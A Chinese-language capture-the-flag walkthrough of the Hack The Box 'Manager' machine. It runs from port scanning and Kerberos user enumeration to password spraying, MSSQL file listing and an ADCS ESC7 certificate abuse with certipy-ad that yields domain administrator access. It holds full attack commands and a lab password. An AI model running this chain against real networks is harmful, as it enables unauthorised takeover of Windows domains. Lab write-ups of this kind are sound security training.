文章目录
信息搜集
nmap扫描一下端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.236
扫出来很多端口,其中80端口有http服务,88端口是采用一个身份验证协议kerberos,以及NetBIOS-SSN(端口139)和Microsoft-DS(端口445)都与SMB有关
1433端口有msssql服务,存在域名manager.htb
我们可以把该域名添加到/etc/hosts
尝试访问一下80端口没啥收获
再来看看88端口,利用工具kerbrute以及seclist字典
看一下使用参数
./kerbrute_linux_amd64 -h
字典使用下图最后一个无重复用户名的
使用-d参数指定域名和–dc参数指定url
./kerbrute_linux_amd64 userenum -d manager.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.11.236
扫出来用户名,再试试工具crackmapexec去密码喷洒(我们知道有端口使用smb协议)
user.txt(注意是小写)
ryan
cheng
raven
operator
jinwoo
zhong
chinhaw
发现用户“operator”可以访问SMB(工具会报错奇奇怪怪…)
然后连接mssql数据库
impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 -windows-auth
当前用户为guests
我们用拓展xp_dirtree去列出文件
exec xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
注:inetpub通常用于存放 Internet Information Services (IIS) 的网站文件和相关内容。IIS是一种用于托管和管理网站的Web服务器软件。
发现有zip文件,我们在本地wget下载下来
wget 10.10.11.236/website-backup-27-07-23-old.zip
访问一下,在.old-conf.xml
文件找到和raven相关的信息
既然我们得到密码,那么我们直接用evil-winrm去进行远程登录
evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
得到user的flag
我们上传一个Certify.exe,查找/vulnerable(易受攻击)的内容或文件
Certify.exe是一个可执行文件,它是Certify SSL/TLS(Transport Layer Security)证书管理工具的一部分
在这里注意到用户 raven 已允许管理 CA(证书)。它表明必须正在运行 ADCS(Active Directory 证书服务)并且它容易受到 ESC7 漏洞的影响。(参考文章)
按照参考文章的步骤
如果您只有“管理 CA”访问权限,则可以通过将您的用户添加为新官员来授予自己“管理证书”访问权限。
sudo certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
可以使用 -enable-template 参数在 CA 上启用 SubCA 模板。默认情况下,SubCA 模板处于启用状态。
sudo certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Attack
如果我们已经满足了此攻击的先决条件,我们可以首先请求基于 SubCA 模板的证书。 该请求将被拒绝,但我们将保存私钥并记下请求 ID。
sudo certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn administrator@manager.htb
通过管理 CA 和管理证书,我们可以使用 ca 命令和 -issue-request <request ID>
参数发出失败的证书请求。
sudo certipy-ad ca -ca "manager-DC01-CA" -issue-request 19 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'
最后,我们可以使用 req 命令和 -retrieve <request ID>
参数检索颁发的证书。
sudo certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca "manager-DC01-CA" -target manager.htb -retrieve 19
注意:服务器会在一分钟内自动重置其设置,因此准备好所有命令以便快速执行非常重要。您可以准备一个脚本或一组命令,并根据需要快速复制和粘贴。
然后就是成功验证管理员身份了
sudo certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236 -username administrator -domain 'manager.htb'
但是会出现报错,重要的是通过与Kerberos同步时间来解决这些错误。这可以通过执行以下命令来完成
sudo ntpdate -u manager.htb
然后得到hash值,再用evil-winrm登录即可得到root的flag
evil-winrm -i 10.10.11.236 -u administrator -H ae*******************